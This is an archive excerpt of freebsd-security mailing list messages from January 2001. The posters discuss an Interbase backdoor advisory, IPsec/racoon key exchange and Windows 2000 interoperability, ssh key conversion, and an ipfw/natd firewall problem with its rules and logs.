UAA20349; Wed, 10 Jan 2001 20:23:27 -0500 Date: Wed, 10 Jan 2001 20:23:27 -0500 (EST) From: Mikhail Kruk To: Trevor Johnson Cc: Jason DiCioccio , , Berend de Boer Subject: RE: CERT advisory: "Interbase Server Contains Compiled-in Back D oor Account" In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > The backdoor is not documented in the pkg-descr file for the port. If the > port is not fixed or forbidden, and it has the backdoor, the fact should > at least be documented there. I don't see how such a backdoor can be left in the package, even if there is a warning in pkg_descr. This is a potential remote exploit after all. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 17:28: 3 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail5.sc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by hub.freebsd.org (Postfix) with ESMTP id CF7A937B401 for ; Wed, 10 Jan 2001 17:27:44 -0800 (PST) Received: from sc.rr.com ([24.88.101.217]) by mail5.sc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Wed, 10 Jan 2001 20:27:35 -0500 Message-ID: <3A5D1A3D.A7163F8D@sc.rr.com> Date: Wed, 10 Jan 2001 20:28:13 -0600 From: "Donald J. Maddox" Reply-To: dmaddox@sc.rr.com X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: Trevor Johnson Cc: Jason DiCioccio , security@freebsd.org, Berend de Boer Subject: Re: CERT advisory: "Interbase Server Contains Compiled-in Back Door Account" References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The advisory states quite clearly that the backdoor was not the work of evildoers from outside, but rather came from developers within Borland. Trevor Johnson wrote: > > > Can any users of this package confirm if they actually knew about > > this backdoor account? I don't see how a backdoor account accidently > > makes its way into a database package like this. If this was > > undocumented/unknown, I would have to assume it might have been > > intentional from someone working on the project perhaps? I do not > > use this database package, so I can't accuse anyone or any company of > > this, but it's hard to imagine a 'backdoor account' making it's way > > in the source otherwise. I guess we'll have to wait for a Borland > > advisory. > > Hi, Jason. I'm not sure what you mean: that we should assume > everything's fine and do nothing unless Borland also says there's a > problem, or that you will just be curious about the origin of the problem > until they explain it. > > FWIW the problem is also described at http://www.interbase2000.com/ (which > apparently does not belong to Borland). > > The backdoor is not documented in the pkg-descr file for the port. If the > port is not fixed or forbidden, and it has the backdoor, the fact should > at least be documented there. > -- > Trevor Johnson > http://jpj.net/~trevor/gpgkey.txt > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 18:22:52 2001 Delivered-To: freebsd-security@freebsd.org Received: from netvalue-gw.netvalue.fr (netvalue-gw.netvalue.fr [195.115.44.161]) by hub.freebsd.org (Postfix) with ESMTP id 6ED0737B400 for ; Wed, 10 Jan 2001 18:22:33 -0800 (PST) Received: (from bin@localhost) by netvalue-gw.netvalue.fr (8.9.3/8.8.8) id DAA28276 for ; Thu, 11 Jan 2001 03:22:31 +0100 (CET) (envelope-from erwan@netvalue.com) X-Authentication-Warning: netvalue-gw.netvalue.fr: bin set sender to using -f Received: from (dauphine.netvalue.fr [192.168.1.13]) by netvalue-gw.netvalue.fr via smap (V2.1) id xma028267; Thu, 11 Jan 01 03:22:09 +0100 Received: from mail-hk.netvalue.fr ([192.168.100.13]) by mail.netvalue.fr (Netscape Messaging Server 3.6) with ESMTP id AAA1C45 for ; Thu, 11 Jan 2001 03:22:08 +0100 Received: from erwan.netvalue.fr ([192.168.100.100]) by mail-hk.netvalue.fr (Netscape Messaging Server 4.15) with ESMTP id G6Z7WT00.BE5; Thu, 11 Jan 2001 10:22:05 +0800 Received: from netvalue.com (localhost [127.0.0.1]) by erwan.netvalue.fr (Postfix) with ESMTP id C42D21A53; Thu, 11 Jan 2001 10:22:03 +0800 (HKT) Message-ID: <3A5D18CB.5DE21EDA@netvalue.com> Date: Thu, 11 Jan 2001 10:22:03 +0800 From: Erwan Arzur Organization: NetValue Ltd. X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en, fr-FR MIME-Version: 1.0 To: Roman Shterenzon Cc: Keith Ray , freebsd-security@FreeBSD.ORG Subject: Re: IPSec + Racoon: pre-shared key length References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Roman Shterenzon wrote: > > Could you post to the list or on the web the complete procedure? > Otherwise people will have to reinvent the wheel next time... > > On Fri, 22 Dec 2000, Keith Ray wrote: > > > I have finally been able to get Windows 2000 and FreeBSD to talk using IPSec + > > ISAKMP. However, I am not sure what the appropriate length of the pre-shared > > key should be. The best I could come up with is as follows: > > > > Use a password generator that creates passwords with upper/lower case letters > > and numbers. This gives me 62 possible combinations. 3DES uses 192-bit keys > > for a keyspace of 2^192. So the problem is 62^x = 2^192. Take the log of both > > sides and divide to get: 32.2. Therefor, a 33 length password should provide a > > slightly greater keyspace to search than the 3DES keyspace. > > > > Am I doing this correctly? Also, if neither machine is compromised, is there > > any reason to change keys periodically since I am using IKE? > > jot ? $ jot -r -w %.2x -s "" 24 3d5e13031a1b3f3f05216158381e5b5e151f550f5637110c -- Erwan Arzur NetValue ltd. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 18:34: 5 2001 Delivered-To: freebsd-security@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 3CA6137B404 for ; Wed, 10 Jan 2001 18:33:47 -0800 (PST) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id LAA21709; Thu, 11 Jan 2001 11:32:03 +0900 (JST) To: Erwan Arzur Cc: Roman Shterenzon , Keith Ray , freebsd-security@FreeBSD.ORG In-reply-to: erwan's message of Thu, 11 Jan 2001 10:22:03 +0800. <3A5D18CB.5DE21EDA@netvalue.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: IPSec + Racoon: pre-shared key length From: itojun@iijlab.net Date: Thu, 11 Jan 2001 11:32:03 +0900 Message-ID: <21707.979180323@coconut.itojun.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> > Use a password generator that creates passwords with upper/lower case letters >> > and numbers. This gives me 62 possible combinations. 3DES uses 192-bit keys >> > for a keyspace of 2^192. So the problem is 62^x = 2^192. Take the log of both >> > sides and divide to get: 32.2. Therefor, a 33 length password should provide a >> > slightly greater keyspace to search than the 3DES keyspace. >> > >> > Am I doing this correctly? Also, if neither machine is compromised, is there >> > any reason to change keys periodically since I am using IKE? preshared keys are not directly related to IPsec key length, preshared keys are just for authenticating IKE daemon at the other end. so key length argument (above) may not be 100% right... itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 19:58:54 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail2.lig.bellsouth.net (mail2.lig.bellsouth.net [205.152.0.56]) by hub.freebsd.org (Postfix) with ESMTP id 835B937B402 for ; Wed, 10 Jan 2001 19:58:32 -0800 (PST) Received: from coastalgeology.org (adsl-78-159-182.chs.bellsouth.net [216.78.159.182]) by mail2.lig.bellsouth.net (3.3.5alt/0.75.2) with SMTP id WAA05948 for ; Wed, 10 Jan 2001 22:58:31 -0500 (EST) Received: (qmail 10772 invoked by uid 1000); 11 Jan 2001 04:21:18 -0000 Date: Wed, 10 Jan 2001 23:21:18 -0500 From: Jonathan Pennington To: freebsd-security@freebsd.org Subject: Cannot access certain sites through firewall Message-ID: <20010110232117.A10054@coastalgeology.org> Reply-To: Jonathan Pennington Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Warning: Bill Gates Controls The Matrix Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I am having a problem with accessing certain websites from my internal network. System 4.2-STABLE, Dec-21. PPPoE through tun0 with an external Alcatel modem connected to ed1 and an internal network with one windows computer and my FreeBSD 4.2-STABLE laptop that can access most websites, but not all. www.cityspree.com is the one in the logs, but www.signals.com, www.pigglywiggly.com and others are on the list. I can access everything from the firewall computer, including the sites that cannot be accessed from the internal network. The tun0 interface is mtu 1492, ed0 (internal) and ed1 (external) were 1500, but the same thing happens with all at 1492. (I read in the archives about natd mangling packets due to different sizes). From the logs, it looks like things are travelling through, but Netscape just waits. Specifically, netscape stops at "Connect: Host... contacted. Waiting for reply." However, I can ping those address and not loose packets. Even when I open the firewall up by flushing all rules and allowing everything, theses sites are not working. What am I doing wrong? Is this a problem with my natd translation? I am using natd unmodified (ie. I set no configs myself), but why would that stop only some sites (I can access https). I'm not on this list, but will watch the geocrawler archives. I appreciate any help. Log snippet of attempt to visit www.cityspree.com and www.signals.com after successfully pinging signals.com and a copy of my firewall rules follow. ---------------------------------------------------------------- Jan 10 23:00:00 bullwinkle newsyslog[10356]: logfile turned over ################## Jan 10 23:01:50 bullwinkle /kernel: ipfw: 850 Accept TCP 216.78.159.182:62486 216.35.68.25:80 out via tun0 Jan 10 23:02:47 bullwinkle /kernel: ipfw: 850 Accept TCP 216.78.159.182:33439 63.71.95.177:80 out via tun0 Jan 10 23:03:11 bullwinkle /kernel: ipfw: 65435 Accept ICMP:8.0 216.78.159.182 216.35.68.25 out via tun0 Jan 10 23:03:11 bullwinkle /kernel: ipfw: 65435 Accept ICMP:0.0 216.35.68.25 192.168.10.3 in via tun0 Jan 10 23:03:12 bullwinkle /kernel: ipfw: 65435 Accept ICMP:8.0 216.78.159.182 216.35.68.25 out via tun0 Jan 10 23:03:12 bullwinkle /kernel: ipfw: 65435 Accept ICMP:0.0 216.35.68.25 192.168.10.3 in via tun0 Jan 10 23:03:13 bullwinkle /kernel: ipfw: 65435 Accept ICMP:8.0 216.78.159.182 216.35.68.25 out via tun0 Jan 10 23:03:13 bullwinkle /kernel: ipfw: 65435 Accept ICMP:0.0 216.35.68.25 192.168.10.3 in via tun0 Jan 10 23:03:14 bullwinkle /kernel: ipfw: 65435 Accept ICMP:8.0 216.78.159.182 216.35.68.25 out via tun0 Jan 10 23:03:14 bullwinkle /kernel: ipfw: 65435 Accept ICMP:0.0 216.35.68.25 192.168.10.3 in via tun0 Jan 10 23:03:22 bullwinkle /kernel: ipfw: 1550 Accept UDP 205.152.0.20:53 192.168.10.2:137 in via tun0 Jan 10 23:03:25 bullwinkle /kernel: ipfw: 65435 Accept ICMP:8.0 216.78.159.182 63.71.95.177 out via tun0 Jan 10 23:03:25 bullwinkle /kernel: ipfw: 65435 Accept ICMP:0.0 63.71.95.177 192.168.10.3 in via tun0 Jan 10 23:03:26 bullwinkle /kernel: ipfw: 65435 Accept ICMP:8.0 216.78.159.182 63.71.95.177 out via tun0 Jan 10 23:03:26 bullwinkle /kernel: ipfw: 65435 Accept ICMP:0.0 63.71.95.177 192.168.10.3 in via tun0 Jan 10 23:03:27 bullwinkle /kernel: ipfw: 65435 Accept ICMP:8.0 216.78.159.182 63.71.95.177 out via tun0 Jan 10 23:03:27 bullwinkle /kernel: ipfw: 65435 Accept ICMP:0.0 63.71.95.177 192.168.10.3 in via tun0 Jan 10 23:03:28 bullwinkle /kernel: ipfw: 65435 Accept ICMP:8.0 216.78.159.182 63.71.95.177 out via tun0 Jan 10 23:03:28 bullwinkle /kernel: ipfw: 65435 Accept ICMP:0.0 63.71.95.177 192.168.10.3 in via tun0 Jan 10 23:03:48 bullwinkle /kernel: ipfw: 850 Accept TCP 216.78.159.182:58680 216.136.204.21:80 out via tun0 Jan 10 23:03:49 bullwinkle /kernel: ipfw: 850 Accept TCP 216.78.159.182:56779 216.136.204.21:80 out via tun0 Jan 10 23:03:49 bullwinkle /kernel: ipfw: 850 Accept TCP 216.78.159.182:46765 216.136.204.21:80 out via tun0 Jan 10 23:03:50 bullwinkle /kernel: ipfw: 850 Accept TCP 216.78.159.182:35950 216.136.204.21:80 out via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1078 216.136.204.21:80 out via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1081 216.35.68.25:80 out via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:40600 216.136.204.21:80 out via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 850 Accept TCP 216.78.159.182:41953 216.35.68.25:80 out via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.35.68.25:80 216.78.159.182:1081 in via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 950 Accept TCP 216.35.68.25:80 192.168.10.3:1081 in via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1081 216.35.68.25:80 out via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:41953 216.35.68.25:80 out via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.136.204.21:80 216.78.159.182:1078 in via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 950 Accept TCP 216.136.204.21:80 192.168.10.3:1078 in via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1081 216.35.68.25:80 out via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:41953 216.35.68.25:80 out via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.35.68.25:80 216.78.159.182:1081 in via tun0 Jan 10 23:05:48 bullwinkle /kernel: ipfw: 950 Accept TCP 216.35.68.25:80 192.168.10.3:1081 in via tun0 Jan 10 23:05:57 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1071 66.37.205.21:80 out via tun0 Jan 10 23:05:57 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:35306 66.37.205.21:80 out via tun0 Jan 10 23:05:57 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1074 63.71.95.177:80 out via tun0 Jan 10 23:05:57 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:59397 63.71.95.177:80 out via tun0 Jan 10 23:07:01 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1071 66.37.205.21:80 out via tun0 Jan 10 23:07:01 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:35306 66.37.205.21:80 out via tun0 Jan 10 23:07:01 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1074 63.71.95.177:80 out via tun0 Jan 10 23:07:01 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:59397 63.71.95.177:80 out via tun0 Jan 10 23:08:05 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1071 66.37.205.21:80 out via tun0 Jan 10 23:08:05 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:35306 66.37.205.21:80 out via tun0 Jan 10 23:08:05 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1074 63.71.95.177:80 out via tun0 Jan 10 23:08:05 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:59397 63.71.95.177:80 out via tun0 Jan 10 23:09:09 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1071 66.37.205.21:80 out via tun0 Jan 10 23:09:09 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:35306 66.37.205.21:80 out via tun0 Jan 10 23:09:09 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1074 63.71.95.177:80 out via tun0 Jan 10 23:09:09 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:59397 63.71.95.177:80 out via tun0 Jan 10 23:10:13 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1071 66.37.205.21:80 out via tun0 Jan 10 23:10:13 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:35306 66.37.205.21:80 out via tun0 Jan 10 23:10:13 bullwinkle /kernel: ipfw: 350 Divert 8668 TCP 216.78.159.182:1074 63.71.95.177:80 out via tun0 Jan 10 23:10:13 bullwinkle /kernel: ipfw: 950 Accept TCP 216.78.159.182:59397 63.71.95.177:80 out via tun0 ------------------------------------------------------- ${fwcmd} add 100 pass all from any to any via lo0 ${fwcmd} add 200 deny all from any to 127.0.0.0/8 ${fwcmd} add 250 allow tcp from 127.0.0.1 to 127.0.0.1 51966 $fwcmd add divert natd log all from any to any via tun0 $fwcmd add allow ip from any to any via lo0 $fwcmd add allow ip from any to any via ed0 $fwcmd add deny all from any to 192.168.10.0/24 in via ed1 $fwcmd add deny all from 192.168.10.0/24 to any out via ed1 $fwcmd add allow log tcp from any to any out xmit tun0 setup $fwcmd add allow log tcp from any to any via tun0 established $fwcmd add allow log tcp from any to any 80 setup $fwcmd add allow log tcp from any 80 to any in via tun0 $fwcmd add allow log tcp from any to any 22 setup $fwcmd add allow log tcp from 209.85.3.25 to any 2222 setup $fwcmd add pass tcp from any to any 25 setup $fwcmd add allow log udp from any to 192.168.10.2 in via tun0 $fwcmd add allow log tcp from any to 192.168.10.2 in via tun0 $fwcmd add allow log tcp from any to any 113 in recv tun0 $fwcmd add allow udp from any to 205.152.0.20 53 out xmit tun0 $fwcmd add allow udp from any to 205.152.0.5 53 out xmit tun0 $fwcmd add allow udp from 205.152.0.0/16 53 to any in recv tun0 $fwcmd add 65435 allow log icmp from any to any $fwcmd add deny all from 192.168.10.0/24 to any in via tun0 $fwcmd add pass all from any to any frag $fwcmd add deny log tcp from any to any in via tun0 setup $fwcmd add 65435 allow ip from any to any out xmit tun0 $fwcmd add 65435 allow log udp from any to any 6970 in via tun0 $fwcmd add 65435 deny log ip from any to any in via tun0 -------------------------------------------------------- -- Jonathan Pennington | http://coastalgeology.org Site Manager | Protection and stewardship CoastalGeology.Org (CGO) | through public education. john@coastalgeology.org | Join CGO, make a difference. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 21:54:28 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.ruhr.de (in-ruhr3.ruhr.de [212.23.134.2]) by hub.freebsd.org (Postfix) with SMTP id E707E37B401 for ; Wed, 10 Jan 2001 21:54:10 -0800 (PST) Received: (qmail 10947 invoked by alias); 11 Jan 2001 05:52:30 -0000 Received: (from ue@localhost) by nathan.ruhr.de (8.11.0/8.11.0) id f0B5tR934041 for freebsd-security@FreeBSD.ORG; Thu, 11 Jan 2001 06:55:27 +0100 (CET) (envelope-from ue) Date: Thu, 11 Jan 2001 06:55:27 +0100 From: Udo Erdelhoff To: freebsd-security@FreeBSD.ORG Subject: Re: ssh config assistance Message-ID: <20010111065527.V4211@nathan.ruhr.de> Mail-Followup-To: freebsd-security@FreeBSD.ORG References: <4.3.2.7.2.20010108173133.00aeb380@netdepot.com> <4.3.2.7.2.20010108173133.00aeb380@netdepot.com> <20010109073940.J4211@nathan.ruhr.de> <4.3.2.7.2.20010109095053.00b052e0@netdepot.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <4.3.2.7.2.20010109095053.00b052e0@netdepot.com>; from sreber@atltechgroup.com on Tue, Jan 09, 2001 at 09:55:02AM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, > The actual working syntax was: > ssh-keygen -X -f temp >> authorized_keys2 and one of these days I'll understand why this tools refuses to read the key from stdin. Sorry for the misinformation, the manual is a little ambigous at this point. /s/Udo -- Abandon the search for Truth; settle for a good fantasy. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 11 3:50:50 2001 Delivered-To: freebsd-security@freebsd.org Received: from aker.com.br (unknown [200.252.12.5]) by hub.freebsd.org (Postfix) with ESMTP id 115F837B698; Thu, 11 Jan 2001 03:50:25 -0800 (PST) Received: from aker.com.br (jorge.aker.com.br [10.0.0.16]) by aker.com.br (8.9.3/8.9.3) with ESMTP id IAA05339; Thu, 11 Jan 2001 08:34:38 -0200 (BRST) (envelope-from jorge@aker.com.br) Message-ID: <3A5CD61C.673C1B83@aker.com.br> Date: Wed, 10 Jan 2001 19:37:32 -0200 From: Jorge Peixoto Vasquez Organization: Aker Security Solutions X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 4.2-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-net@freebsd.org, freebsd-security@freebsd.org Subject: Re: IPSEC: racoon and Win2K References: <5077.979084280@coconut.itojun.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org itojun@iijlab.net wrote: > > >The only problem I've encountered is that, when making Win2K and FreeBSD > >interoperate, the IKE's phase 2 only suceeds if > >Win2K initiates the process. If racoon is to start it, Win2k will not > >accept any proposal for phase 2, complaining that the dh group number > >(which should correctly be either 1 or 2) received is 1 or 2 (depending > >on the pfs_group setting in racoon.conf) and not null(0). If I try > >setting pfs_group to null, I get a parse error. > > try removing "pfs_group 2" line. the problem here is that PFS group > is not negotiated (from the protocol spec), so > - if Win2K uses no pfs group, racoon obeys > - if racoon proposes either pfs group 1/2, Win2K rejects > hope this helps. > I had already done it, but it acts exactly the same way as it does if I put "pfs_group 2" or "pfs_group modp1024", i.e. sends '2' to Win2K. Anyone was successfull in making these interoperate? Could you please tell me which racoon version you used and please send me the conf file? Thanx anyways, jOrge -- Jorge Peixoto Vasquez, Elet. Eng. Aker Security Solutions tel. +55 - 61 - 340 9083 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 11 4:12: 0 2001 Delivered-To: freebsd-security@freebsd.org Received: from tao.org.uk (genesis.tao.org.uk [194.242.131.94]) by hub.freebsd.org (Postfix) with ESMTP id E357F37B402 for ; Thu, 11 Jan 2001 04:11:40 -0800 (PST) Received: by tao.org.uk (Postfix, from userid 100) id BD3933248; Thu, 11 Jan 2001 12:11:44 +0000 (GMT) Date: Thu, 11 Jan 2001 12:11:44 +0000 From: Josef Karthauser To: itojun@iijlab.net Cc: freebsd-security@FreeBSD.ORG Subject: How does Racoon exchange packets after policy has been defined? Message-ID: <20010111121144.B3594@tao.org.uk> Mail-Followup-To: Josef Karthauser , itojun@iijlab.net, freebsd-security@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi Itojun, I'm a bit confused as to how key exchange works between two machines? Imagine that I've used setkey to set a policy that all traffic between two machines should be encrypted. Once this has been done no traffic flows until the IPsec engine has got keys relating to this SPI AFAIU. I don't understand how Racoon (IKE) can occur. It can't occur in the clear because the security policy says that only encrypted packets can flow, and it can't occur encrypted because no keys have been installed yet. Is there some special handling of IKE packets in the kernel to allow this to work? Joe On Thu, Jan 11, 2001 at 11:32:03AM +0900, itojun@iijlab.net wrote: > > >> > Use a password generator that creates passwords with upper/lower case letters > >> > and numbers. This gives me 62 possible combinations. 3DES uses 192-bit keys > >> > for a keyspace of 2^192. So the problem is 62^x = 2^192. Take the log of both > >> > sides and divide to get: 32.2. Therefor, a 33 length password should provide a > >> > slightly greater keyspace to search than the 3DES keyspace. > >> > > >> > Am I doing this correctly? Also, if neither machine is compromised, is there > >> > any reason to change keys periodically since I am using IKE? > > preshared keys are not directly related to IPsec key length, > preshared keys are just for authenticating IKE daemon at the other end. > so key length argument (above) may not be 100% right... > > itojun > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 11 4:18:27 2001 Delivered-To: freebsd-security@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id B949837B401 for ; Thu, 11 Jan 2001 04:18:08 -0800 (PST) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id VAA29341; Thu, 11 Jan 2001 21:17:51 +0900 (JST) To: Josef Karthauser Cc: freebsd-security@FreeBSD.ORG In-reply-to: joe's message of Thu, 11 Jan 2001 12:11:44 GMT. <20010111121144.B3594@tao.org.uk> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: How does Racoon exchange packets after policy has been defined? From: itojun@iijlab.net Date: Thu, 11 Jan 2001 21:17:51 +0900 Message-ID: <29339.979215471@coconut.itojun.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >I'm a bit confused as to how key exchange works between two machines? > >Imagine that I've used setkey to set a policy that all traffic between >two machines should be encrypted. Once this has been done no traffic >flows until the IPsec engine has got keys relating to this SPI AFAIU. > >I don't understand how Racoon (IKE) can occur. It can't occur in the >clear because the security policy says that only encrypted packets can >flow, and it can't occur encrypted because no keys have been installed >yet. > >Is there some special handling of IKE packets in the kernel to allow >this to work? yes, IKE has some special handling there. privileged user (root) can set a socket policy to "bypass normal IPsec operation" via setsockopt. IKE uses the functionality. IKE creates secret communication channel by its own. IKE has two phases: - phase 1, which establishes secret communication channel between two IKE daemons. very early packets will be sent in clear, but after that, IKE daemon will encrypt packets on its own. - phase 2, which establishes IPsec SAs between two machines. the commuication is protected by the secret communication channel established by phase 1. RFC240[0-9] has more detailed (and way too complicated) descriptions. itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 11 4:45:24 2001 Delivered-To: freebsd-security@freebsd.org Received: from tao.org.uk (genesis.tao.org.uk [194.242.131.94]) by hub.freebsd.org (Postfix) with ESMTP id 5357737B400 for ; Thu, 11 Jan 2001 04:45:06 -0800 (PST) Received: by tao.org.uk (Postfix, from userid 100) id 0986E3248; Thu, 11 Jan 2001 12:45:11 +0000 (GMT) Date: Thu, 11 Jan 2001 12:45:11 +0000 From: Josef Karthauser To: itojun@iijlab.net Cc: freebsd-security@FreeBSD.ORG Subject: Interaction problem with IKE (racoon) and ipfw divert natd? Message-ID: <20010111124510.D3594@tao.org.uk> Mail-Followup-To: Josef Karthauser , itojun@iijlab.net, freebsd-security@FreeBSD.ORG References: <20010111121144.B3594@tao.org.uk> <29339.979215471@coconut.itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <29339.979215471@coconut.itojun.org>; from itojun@iijlab.net on Thu, Jan 11, 2001 at 09:17:51PM +0900 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jan 11, 2001 at 09:17:51PM +0900, itojun@iijlab.net wrote: > > > >Is there some special handling of IKE packets in the kernel to allow > >this to work? > > yes, IKE has some special handling there. privileged user (root) > can set a socket policy to "bypass normal IPsec operation" via > setsockopt. IKE uses the functionality. > > IKE creates secret communication channel by its own. > IKE has two phases: > - phase 1, which establishes secret communication channel between > two IKE daemons. very early packets will be sent in clear, > but after that, IKE daemon will encrypt packets on its own. > - phase 2, which establishes IPsec SAs between two machines. > the commuication is protected by the secret communication channel > established by phase 1. > > RFC240[0-9] has more detailed (and way too complicated) descriptions. Thanks Itojun, that explains it perfectly. My second question pertains to using racoon on a machine that's got an IPFW running on it using divert to do NAT (via natd) for an internal private network. Imagine that this machine has everything closed (ipfw deny ip any to any) by default. To allow Racoon to communication I added: allow udp from HIM isakmp to ME isakmp allow udp from ME isakmp to HIM isakmp If I do a tcpdump I should be able to see isakmp packets flowing as key exchange does its thing. What actually happens is the the remote end sends an isakmp packet; I see it arrive with tcpdump, and the ipfw rule counts it. What happens next is that racoon here (ME) replies, the outgoing ipfw rule counts it, but it never appears on the wire anywhere! :( Strangely... if I move the 'allow udp from ME isakmp to HIM isakmp' to before the 'divert 8668 ip from any to any via fxp1' rule the packet does go out on the wire! I wonder whether this is a bug with natd. Both machines are round about RELENG_4 (far end HIM jan 4th, this end ME jan 10th). Any ideas how I can track this down? Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 11 4:48:10 2001 Delivered-To: freebsd-security@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) 